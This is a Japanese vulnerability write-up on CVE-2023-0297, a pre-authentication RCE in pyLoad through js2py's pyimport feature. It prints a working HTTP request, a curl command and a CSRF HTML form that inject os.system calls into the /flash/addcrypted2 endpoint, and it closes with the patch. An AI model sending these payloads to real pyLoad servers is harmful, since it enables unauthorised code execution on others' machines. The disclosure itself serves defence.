
CVE-2023-0297: pyLoadにおけるPre-auth RCE発見のストーリー
pyLoadにおける事前認証RCE発見のストーリー
pyLoad 0.5.0b3.dev31より前のバージョンにおけるコードインジェクションの脆弱性により、js2pyの機能を悪用して事前認証RCEが可能になります。
レポートはこちら、エクスプロイトコードはこちらで見つけられます。
pyLoadはPythonで書かれたOSSのダウンロードマネージャで、Webインターフェースを介して管理できます。そのGitHubリポジトリは2023年1月9日時点で約2.8kのスターを獲得しています。
pyLoadのソースコードを監査中、以下のコードが目に留まりました:
jk = eval_js(f"{jk} f()")
eval_js関数の定義は以下の通りです:
def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
eval_js(f"{jk} f()")はjs2pyの機能を利用しており、JavaScriptコードf"{jk} f()"を実行します。ここでjkパラメータはリクエストパラメータによって渡されます:
jk = flask.request.form["jk"]
したがって、エンドポイントにリクエストすることで任意のJavaScriptコードを実行できます。
しかし、どのように悪用するのでしょうか?js2py.eval_js()のコンテキストでは、XMLHttpRequest、fetch、require(Node.jsのような)が定義されていないため、SSRFやローカルファイルの読み取りはできません。
しばらく時間をかけて、js2pyの興味深い機能を見つけました:
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:
>>> x = """pyimport urllib;
var result = urllib.urlopen('https://www.google.com/').read();
console.log(result.length)
"""
>>> js2py.eval_js(x)
18211
undefined
pyimport文を使用すると、JavaScript内からPythonモジュールをインポートできます。この機能を利用することで、js2py.eval_js()のコンテキストでPythonライブラリを使用できます!驚くべきことに、pyimportはデフォルトで有効になっています。:o
pyimportを使ってOSコマンドを実行する簡単なコードを試しました:
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory
$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'
$ ls /tmp/pwnd
/tmp/pwnd
予想通り、touch /tmp/pwndが実行されました!
以下のリクエストを送信することで、ターゲットホストでも同じことが発生します:
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
jkパラメータ内の;f=function%20f2(){};の部分は、このエンドポイントがeval_js(f"{jk} f()")を実行するため必要です。これがないと、name 'f' is not definedエラーが発生して注入コードが実行されません。
このリクエストにはCookieやCSRFトークンが含まれていないことに注意してください。つまり:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<target>/flash/addcrypted2" method="POST">
<input type="hidden" name="package" value="xxx" />
<input type="hidden" name="crypted" value="AAAA" />
<input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" />
<input type="hidden" name="passwords" value="aaaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'
pyimport機能を無効にするだけです。
import js2py
+js2py.disable_pyimport()
迅速な対応をいただいたhunr.devチームとpyLoadメンテナに感謝します!